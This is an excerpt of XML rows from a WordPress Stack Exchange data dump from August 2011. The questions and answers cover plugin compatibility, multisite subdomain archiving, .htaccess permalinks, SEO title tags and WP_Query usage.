  <row Id="24651" PostTypeId="1" AcceptedAnswerId="25699" CreationDate="2011-08-02T00:45:53.947" Score="1" ViewCount="35" Body="&lt;p&gt;I cannot get &lt;a href=&quot;http://wordpress.org/extend/plugins/wptouch/&quot; rel=&quot;nofollow&quot;&gt;WPTouch&lt;/a&gt; to work with W3 Total Cache. WPTouch admits that there is a known issue with the two, and they send you to &lt;a href=&quot;http://nimopress.com/pressed/blog-building-how-to-configure-w3-total-cache-to-work-with-wptouch-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;a tutorial&lt;/a&gt;. The tutorial is out of date, however, and does not work for me. Does anyone have WPTouch working with W3 Total Cache? If so, can you give some directions/instructions?&lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2011-08-11T23:47:47.580" Title="Getting WPTouch and W3 Total Cache to Work Together" Tags="&lt;plugins&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24652" PostTypeId="1" CreationDate="2011-08-02T00:57:39.627" Score="0" ViewCount="27" Body="&lt;p&gt;I've been trying to figure out if this can be done through Multisite, but I'm pretty new to this concept so please forgive any ignorance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way in which my client can easily archive a WP conference site, by year, to subdomains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site will be set up at &lt;a href=&quot;http://www.domain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com&lt;/a&gt; for the client's 2011 conference. In 2012, the client will use the same templates to set up their 2012 site, but before they do that, they'll want to archive the 2011 site to 2011.domain.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, check out evoconference.com. They have their 2010 site linked to from their current 2011 site, and clicking on it brings you to 2010.evoconference.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can set this up via multisite? I can set up 2011.domain.com, but how can I make it easy for my client to transfer &lt;a href=&quot;http://www.domain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com&lt;/a&gt; to 2011.domain.com, once they are ready to implement the 2012 site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help anyone can provide.&lt;/p&gt;&#xA;" OwnerUserId="7525" LastActivityDate="2011-08-09T22:58:25.357" Title="subdomain archiving" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="24653" PostTypeId="1" CreationDate="2011-08-02T02:05:44.237" Score="0" ViewCount="24" Body="&lt;p&gt;I'm trying to do sitewide categories. like when a category is made in the main blog that category is added to all the new blogs created in the network.&lt;/p&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="2635" LastEditorDisplayName="" LastEditDate="2011-08-02T18:09:53.790" LastActivityDate="2011-08-02T18:09:53.790" Title="Sitewide categories for all the blogs in the network" Tags="&lt;categories&gt;&lt;multisite&gt;&lt;navigation&gt;&lt;blog-page&gt;" CommentCount="1" />
  <row Id="24654" PostTypeId="2" ParentId="19063" CreationDate="2011-08-02T03:23:11.597" Score="1" ViewCount="" Body="&lt;p&gt;following this tutorial i replaced the standard taxonomy metabox with a custom metabox that has a set of radio buttons.  (the tutorial uses a select, but it isn't that different).  this way you can ensure that something is selected AND limit the selections to a few pre-defined options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shibashake.com/wordpress-theme/wordpress-custom-taxonomy-input-panels&quot; rel=&quot;nofollow&quot;&gt;http://shibashake.com/wordpress-theme/wordpress-custom-taxonomy-input-panels&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is a note about how to remove the default metabox, but you can prevent the UI from ever displaying by declaring show-ui to false when you define your taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-08-02T03:23:11.597" />
  <row Id="24655" PostTypeId="1" CreationDate="2011-08-02T04:34:52.680" Score="0" ViewCount="44" Body="&lt;p&gt;I have my site in this &lt;a href=&quot;http://tacobell.royalworkshop.com&quot; rel=&quot;nofollow&quot;&gt;url&lt;/a&gt; which has the content I want to put &lt;a href=&quot;http://taco.royalworkshop.com&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The second link is a CNAME located in the same server as URL &lt;a href=&quot;http://tacobell.royalworkshop.com&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt; that points to another server (the real one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But just the homepage is shown, when you click a link, a 404 is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE : When configuring the default &quot;p?123&quot; option it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My .htaccess, the server has mod_rewrite activated&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I solve this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6519" LastEditorUserId="6519" LastEditorDisplayName="" LastEditDate="2011-08-04T16:13:53.297" LastActivityDate="2011-09-03T23:41:04.120" Title="404 error when migrating to another url" Tags="&lt;permalinks&gt;&lt;404-error&gt;&lt;migration&gt;" AnswerCount="3" />
  <row Id="24656" PostTypeId="2" ParentId="24655" CreationDate="2011-08-02T05:47:37.897" Score="0" ViewCount="" Body="&lt;p&gt;This is seemed to .htaccess issue. Have you moved your .htaccess file? Also make sure RewriteBase is ok in htaccess..?&lt;/p&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-08-02T05:47:37.897" CommentCount="3" />
  <row Id="24657" PostTypeId="2" ParentId="17903" CreationDate="2011-08-02T06:09:24.453" Score="1" ViewCount="" Body="&lt;p&gt;There are a lot of plugins that demonstrate Great Wordpress Plugin Development. Some of them demonstrate great development as in the well commented code, Coding style as per the WP Standards and using the WP API with neat tricks that are neither documented and neither you will see them used in any other plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a WordPress developer my personal top 3 favorites are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/log-deprecated-notices/&quot; rel=&quot;nofollow&quot;&gt;Log Deprecated Notices&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;Core Control&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/&quot; rel=&quot;nofollow&quot;&gt;Monkeyman Rewrite Analyzer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That said, not only plugins give you the idea of how you can write a great WordPress Plugin but if you follow, read and listen to the advices of the Great WordPress Developers and read their code you will learn many cool things. Almost everyone here on WPSE or on other WP forums are awesome WordPress developer but few of my personal favorites are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/nacin/&quot; rel=&quot;nofollow&quot;&gt;Andrew Nacin&lt;/a&gt; - &lt;a href=&quot;http://andrewnacin.com/&quot; rel=&quot;nofollow&quot;&gt;Blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/profile/markjaquith&quot; rel=&quot;nofollow&quot;&gt;Mark Jaquith&lt;/a&gt; - &lt;a href=&quot;http://markjaquith.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/profile/dd32&quot; rel=&quot;nofollow&quot;&gt;Dion Hulse&lt;/a&gt; - &lt;a href=&quot;http://dd32.id.au/&quot; rel=&quot;nofollow&quot;&gt;Blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/profile/otto42&quot; rel=&quot;nofollow&quot;&gt;Otto&lt;/a&gt; - &lt;a href=&quot;http://ottopress.com&quot; rel=&quot;nofollow&quot;&gt;Blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/profile/scribu&quot; rel=&quot;nofollow&quot;&gt;Scribu&lt;/a&gt; - &lt;a href=&quot;http://scribu.net/&quot; rel=&quot;nofollow&quot;&gt;Blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also if you go through the answers of the most reputed volunteers here you will find a lot of, yes a lot of good stuff, ideas and WordPress coding techniques.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-08-02T17:23:21.067" LastActivityDate="2011-08-02T17:23:21.067" CommunityOwnedDate="2011-08-02T06:09:24.453" CommentCount="2" />
  <row Id="24658" PostTypeId="2" ParentId="24639" CreationDate="2011-08-02T06:43:52.707" Score="1" ViewCount="" Body="&lt;p&gt;Right now there are no hooks to do that from a plugin and the function that makes the search query itself is not pluggable which means that the only way to achieve that is to hack core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there is an &lt;a href=&quot;http://core.trac.wordpress.org/ticket/18042&quot; rel=&quot;nofollow&quot;&gt;open Trac Ticket&lt;/a&gt; asking for some kind of hook.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-02T06:43:52.707" CommentCount="1" />
  <row Id="24659" PostTypeId="2" ParentId="24650" CreationDate="2011-08-02T07:00:58.427" Score="0" ViewCount="" Body="&lt;p&gt;Right now there are no hooks to do that from a plugin and the function that makes the search query itself is not pluggable which means that the only way to achieve that is to hack core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there is an &lt;a href=&quot;http://core.trac.wordpress.org/ticket/18042&quot; rel=&quot;nofollow&quot;&gt;open Trac Ticket&lt;/a&gt; asking for some kind of hook.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-02T07:00:58.427" />
  <row Id="24661" PostTypeId="1" CreationDate="2011-08-02T09:06:49.567" Score="0" ViewCount="69" Body="&lt;p&gt;I've created many post with multiple pages with the nextpage-tag. The problem is that these show up as errors in &quot;Google Webmaster Tools&quot; because of duplicate title tags and meta descriptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The urls are like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mypage.com/mypost/&#xA;http://mypage.com/mypost/2&#xA;http://mypage.com/mypost/3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;all of which have the same title and meta tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it somehow possible to include the page number to the meta tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the &quot;WP SEO&quot; which surprisingly doesn't have this feature.&lt;/p&gt;&#xA;" OwnerUserId="7531" LastActivityDate="2011-09-01T10:38:43.993" Title="How to change title tags on paginated posts?" Tags="&lt;pagination&gt;&lt;seo&gt;&lt;post-duplication&gt;" AnswerCount="1" />
  <row Id="24663" PostTypeId="2" ParentId="24661" CreationDate="2011-08-02T09:23:06.567" Score="0" ViewCount="" Body="&lt;p&gt;Is &quot;WP SEO&quot; = &quot;WordPress SEO by Yoast&quot;? If so, the plugin has some tags for you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;%%page%%&lt;/code&gt; - Replaced with the current page number (i.e. page 2 of 4)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;%%pagetotal%%&lt;/code&gt; - Replaced with the current page total&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;%%pagenumber%%&lt;/code&gt; - Replaced with the current page number&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Just look at the bottom of the page &lt;code&gt;wp-admin/admin.php?page=wpseo_titles&lt;/code&gt;, you'll see. Just try it.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-08-02T09:23:06.567" CommentCount="4" />
  <row Id="24665" PostTypeId="2" ParentId="11030" CreationDate="2011-08-02T10:05:22.987" Score="0" ViewCount="" Body="&lt;p&gt;Yes... custom rewrite rule is the way to go! Check this out &lt;a href=&quot;http://wordpress.stackexchange.com/questions/23195/is-there-a-php-function-that-can-match-anything-after-the-given-url-so-my-if-sta/23621#23621&quot;&gt;Is there a PHP function that can match anything after the given URL, so my IF statement will work in each instance?&lt;/a&gt;... You'll get a way to write new URL rewrite rule as per your need.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-02T10:05:22.987" />
  <row Id="24666" PostTypeId="2" ParentId="24655" CreationDate="2011-08-02T10:52:22.923" Score="0" ViewCount="" Body="&lt;p&gt;You can solve this issue in two steps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Settings -&gt; Permalinks -&gt; Common settings -&gt; Default -&gt; Save changes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Settings -&gt; Permalinks -&gt; Common settings -&gt; select your desired&#xA;  structure or give custom permalink structure  -&gt; Save changes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thats it. Problem solved. &lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-02T10:52:22.923" CommentCount="1" />
  <row Id="24667" PostTypeId="2" ParentId="16316" CreationDate="2011-08-02T11:01:31.223" Score="0" ViewCount="" Body="&lt;p&gt;Wherever you're displaying the taxonomies for selection by the user when he's logged in (you're assigning caps, so I guess the user should log in), just do a check like this...        &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(current_user_can('your_custom_capability'))&#xA;    { &#xA;      //display only those taxonomies that he should be allowed to post into&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're displaying the default categories/taxonomies list in the dashboard, then you need to look around for a filter that is applied while the categories/taxonomies are listed. I'll check on that filter and see if I can find one.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-02T11:01:31.223" />
  <row Id="24668" PostTypeId="1" AcceptedAnswerId="24673" CreationDate="2011-08-02T11:19:19.700" Score="0" ViewCount="49" Body="&lt;p&gt;Am looking for carousel slideshow plugin that is similar to the one implemented &lt;a href=&quot;http://www.cadence.com/us/pages/default.aspx&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any JavaScript slideshow that closely resembles that one would do. It does not even have to be a WordPress plugin, any standalone JavaScript library would also be very useful.&lt;/p&gt;&#xA;" OwnerUserId="7535" LastActivityDate="2011-08-02T12:05:22.137" Title="A carousel slideshow plugin in JavaScript" Tags="&lt;jquery&gt;&lt;javascript&gt;&lt;gallery&gt;&lt;slideshow&gt;&lt;jquery-ui&gt;" AnswerCount="1" />
  <row Id="24669" PostTypeId="2" ParentId="23424" CreationDate="2011-08-02T11:35:13.150" Score="1" ViewCount="" Body="&lt;p&gt;i solved this problem by writing a plugin which modifies the htaccess as desired...&lt;/p&gt;&#xA;" OwnerUserId="7537" LastActivityDate="2011-08-02T11:35:13.150" />
  <row Id="24670" PostTypeId="2" ParentId="17903" CreationDate="2011-08-02T11:35:28.433" Score="0" ViewCount="" Body="&lt;p&gt;the recent book WordPress plugin development contains lots of best practice examples. I suggest grabbing a copy.&#xA;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470916222&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/Professional-WordPress-Plugin-Development-Williams/dp/0470916222&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1000" LastActivityDate="2011-08-02T11:35:28.433" CommunityOwnedDate="2011-08-02T11:35:28.433" />
  <row Id="24671" PostTypeId="2" ParentId="17903" CreationDate="2011-08-02T11:54:48.667" Score="0" ViewCount="" Body="&lt;p&gt;It may look like a self-promotion, but I consider my &lt;a href=&quot;http://wordpress.org/extend/plugins/usernoise/&quot; rel=&quot;nofollow&quot;&gt;usernoise&lt;/a&gt; plugin to have a high quality code. Here are most important principles behind the code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modularity. Almost every aspect of the plugin can be disabled / replaced by another implementation pretty easily and without affecting other code.&lt;/li&gt;&#xA;&lt;li&gt;Object-oriented code, with &quot;One WordPress feature - one class&quot; design. Not sure it is the best way, but it works better than anything I have seen.&lt;/li&gt;&#xA;&lt;li&gt;Request handling logic should be separated from storage logic separated from HTML generation (where possible, and taking in account WP design).&lt;/li&gt;&#xA;&lt;li&gt;Short functions with sensible purpose.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7538" LastActivityDate="2011-08-02T11:54:48.667" CommunityOwnedDate="2011-08-02T11:54:48.667" />
  <row Id="24672" PostTypeId="1" CreationDate="2011-08-02T11:55:24.803" Score="0" ViewCount="29" Body="&lt;p&gt;Can I add a &lt;strong&gt;text editor to my plugin menu&lt;/strong&gt;? So I can let users edit custom css file? Something like &lt;code&gt;/wp-admin/plugin-editor.php&lt;/code&gt; but I want users to be able to edit only one file. The custome css file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be done using &lt;strong&gt;Wordpress standard functions&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-08-02T17:07:12.300" Title="How to add text editor in plugin menu?" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;admin-menu&gt;" AnswerCount="1" />
  <row Id="24673" PostTypeId="2" ParentId="24668" CreationDate="2011-08-02T12:05:22.137" Score="0" ViewCount="" Body="&lt;p&gt;there is a plugin (discontinued): &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-imageflow/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-imageflow/&lt;/a&gt;) and a Nextgen addon: &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-imageflow/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/nextgen-imageflow/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More samples and the original code (to the best of my knowledge) can be found here: &lt;a href=&quot;http://finnrudolph.de/ImageFlow/&quot; rel=&quot;nofollow&quot;&gt;http://finnrudolph.de/ImageFlow/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1331" LastActivityDate="2011-08-02T12:05:22.137" />
  <row Id="24674" PostTypeId="1" CreationDate="2011-08-02T12:10:37.130" Score="0" ViewCount="31" Body="&lt;p&gt;My plugin is not ready for public release but I want to test the upgrade process and give it to few people for testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great if I can create my own plugin repository so after installing the plugin, update, new version notification will be as for any other plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible to do so?&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-08-02T12:10:37.130" Title="Can I have custom plugin repository?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;plugin-repository&gt;" CommentCount="2" />
  <row Id="24675" PostTypeId="2" ParentId="17903" CreationDate="2011-08-02T12:15:22.987" Score="0" ViewCount="" Body="&lt;p&gt;I think one of my recent ones is a good start to get a simple plugin up and running &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-cron-control/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-cron-control/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7539" LastActivityDate="2011-08-02T12:15:22.987" CommunityOwnedDate="2011-08-02T12:15:22.987" />
  <row Id="24676" PostTypeId="1" CreationDate="2011-08-02T12:54:02.920" Score="0" ViewCount="36" Body="&lt;p&gt;I have created a simple admin menu that allows users to enter in some basic information that is stored in the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they click save the url appends &lt;code&gt;&amp;amp;settings-updated=true&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way, using jQuery to show a success/fail message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone show me how or give me an example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;George&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2011-08-02T13:19:06.347" Title="Admin menu success message" Tags="&lt;wp-admin&gt;&lt;jquery&gt;&lt;custom-menus&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="24677" PostTypeId="2" ParentId="13084" CreationDate="2011-08-02T13:07:24.767" Score="0" ViewCount="" Body="&lt;p&gt;yup- you are talking metaboxes.  i always use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;farinspace.com/wpalchemy-metabox/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b/c it is crazy powerful and has some very, very neat functionality... but depending on what you need it might also be overkill.  &lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-08-02T13:07:24.767" />
  <row Id="24678" PostTypeId="2" ParentId="24676" CreationDate="2011-08-02T13:19:06.347" Score="1" ViewCount="" Body="&lt;p&gt;See the top answer on this Stackoverflow question. Basically you need to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;decodeURI((RegExp(name + '=' + '(.+?)(&amp;amp;|$)').exec(location.search)||[,null])[1]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/1403888/get-url-parameter-with-jquery&quot;&gt;Get URL parameter with jQuery&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-02T13:19:06.347" CommentCount="1" />
  <row Id="24679" PostTypeId="1" CreationDate="2011-08-01T23:36:33.683" Score="0" ViewCount="24" Body="&lt;p&gt;Pretty much a complete noob when it comes to this topic, so forgive any ignorance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way in which my client can easily &quot;archive&quot; a WordPress conference site, by year, to subdomains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site will be set up at &lt;a href=&quot;http://www.domain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com&lt;/a&gt; for the client's 2011 conference. In 2012, the client will use the same templates to set up their 2012 site, but before they do that, they'll want to archive the 2011 site to 2011.domain.com. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, check out the evoconference site. They have their 2010 site linked to from their current 2011 site, and clicking on it brings you to a 2010.evoconference.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can set this up via WordPress multisite? I know I can set up 2011.domain.com, but how can I make it easy for my client to transfer &lt;a href=&quot;http://www.domain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com&lt;/a&gt; to 2011.domain.com, once they are ready to implement the 2012 site?&lt;/p&gt;&#xA;" LastActivityDate="2011-09-01T14:38:46.613" Title="Wordpress subdomain mapping/&quot;archiving&quot;" Tags="&lt;subdomains&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="24680" PostTypeId="2" ParentId="24679" CreationDate="2011-08-02T00:28:36.053" Score="0" ViewCount="" Body="&lt;p&gt;Since this is just a once a year thing, just install a new copy of WordPress each year with a different table prefix in the database settings. Change the site URL in the config of the old copy then move it to the folder for your subdomain. 5 minutes of work a year.&lt;/p&gt;&#xA;" OwnerUserId="1602" LastActivityDate="2011-08-02T00:28:36.053" />
  <row Id="24682" PostTypeId="1" CreationDate="2011-08-02T13:48:39.020" Score="0" ViewCount="78" Body="&lt;p&gt;I am trying to modify (refine?) Worpress search results by using WP_Query, just as it's explained &lt;a href=&quot;http://codex.wordpress.org/Creating_a_Search_Page#Preserving_Search_Page_Results_and_Pagination&quot; rel=&quot;nofollow&quot;&gt;in the Codex&lt;/a&gt;. The snippet featured in that article is on the top of the Search Template PHP file, and all results are displaying accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to append the WP_Query array with arguments of my choice, to create a modified query (for example: posts containing term user searches for, not included in a certain taxonomy), WP_Query completely ignores the appended arguments and gives me the original search results all over again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$search = new WP_Query(array( 'taxonomy' =&amp;gt; 'media', 'field' =&amp;gt; 'image', 'operator' =&amp;gt; 'NOT IN'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried it this way, but I have a feeling it's completely wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $query_string;&#xA;$query_args = explode(&quot;&amp;amp;&quot;, $query_string);&#xA;$search_query = array();&#xA;foreach($query_args as $key =&amp;gt; $string) {&#xA;    $query_split = explode(&quot;=&quot;, $string);&#xA;    $search_query[$query_split[0]] = urldecode($query_split[1]);&#xA;} // foreach&#xA;$args = array(&#xA;        'tax_query' =&amp;gt; array(&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'media',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; 'media',&#xA;            'operator' =&amp;gt; 'NOT IN'&#xA;        )&#xA;    ),&#xA;    $search_query&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What follows is the usual:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $search-&amp;gt;have_posts() ) :&#xA;    while ($search-&amp;gt;have_posts() ) : $search-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not very fluent when it comes to coding, but trying to teach myself the quirks of Wordpress as a CMS. I read through replies on this site, none of the methods used did it for me, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you see what I'm doing wrong? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7543" LastActivityDate="2011-08-02T14:29:29.490" Title="Refine search results using WP_Query" Tags="&lt;wp-query&gt;&lt;search&gt;&lt;custom-loop&gt;" AnswerCount="1" />
  <row Id="24683" PostTypeId="1" CreationDate="2011-08-02T13:55:43.403" Score="0" ViewCount="40" Body="&lt;p&gt;How can I check if I am on a forum page or forum post inside my theme. I am using the bbpress plugin (not standalone bbpress). There should be some conditional like is_bbpress() or something? &lt;/p&gt;&#xA;" OwnerUserId="6291" LastActivityDate="2011-09-01T21:38:50.243" Title="How to Detect if I am on a bbpress 'plugin' page?" Tags="&lt;bbpress&gt;" AnswerCount="1" />
  <row Id="24684" PostTypeId="1" CreationDate="2011-08-02T14:14:58.863" Score="0" ViewCount="56" Body="&lt;p&gt;I am developing a site for a client, let's call it &lt;code&gt;whatever.com&lt;/code&gt;. He wants to have his Tumblr blog at &lt;code&gt;whatever.com/blog&lt;/code&gt;. (Tumblr lets you name the URL at which your Tumblr page will be served, and if it's a site root, you adjust your domain's A-Record, which obviously I can't do here.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I have a blank page called &lt;code&gt;blog&lt;/code&gt; so that it shows up in the nav using &lt;code&gt;wp_list_pages()&lt;/code&gt;, but I'm guessing this won't work unless I do some fiddling elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to do this?&lt;/p&gt;&#xA;" OwnerUserId="2150" LastActivityDate="2011-09-03T17:19:20.567" Title="How should I set up a Tumblr blog at a WordPress Page?" Tags="&lt;page&gt;&lt;redirect&gt;&lt;tumblr&gt;&lt;wp-list-pages&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="24685" PostTypeId="1" CreationDate="2011-08-02T14:22:28.593" Score="0" ViewCount="37" Body="&lt;p&gt;I don't know if I'm in the right place because is not strictly for Wordpress, I think someone can get some benifit of this question without using Wordpress but in this case I'm using it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm using a modified theme with some plugin enabled, carousel, and other fancy things. There is a problem with some graphics, when I call the site from a remote host, and it's not cached, it's not quick as it's in localhost so all the images are preload in the same place one above the other and when the JS is ready all go in place, but you see a mess while the site is reading...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not very nice as you thinking...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My intention is to achive a &quot;site is loading&quot; pulsating or a progress bar while the site is ready in background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do this?&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2011-09-01T15:38:47.653" Title="How to preload the entire site with javascript?" Tags="&lt;loading-time&gt;" AnswerCount="1" CommentCount="1" />
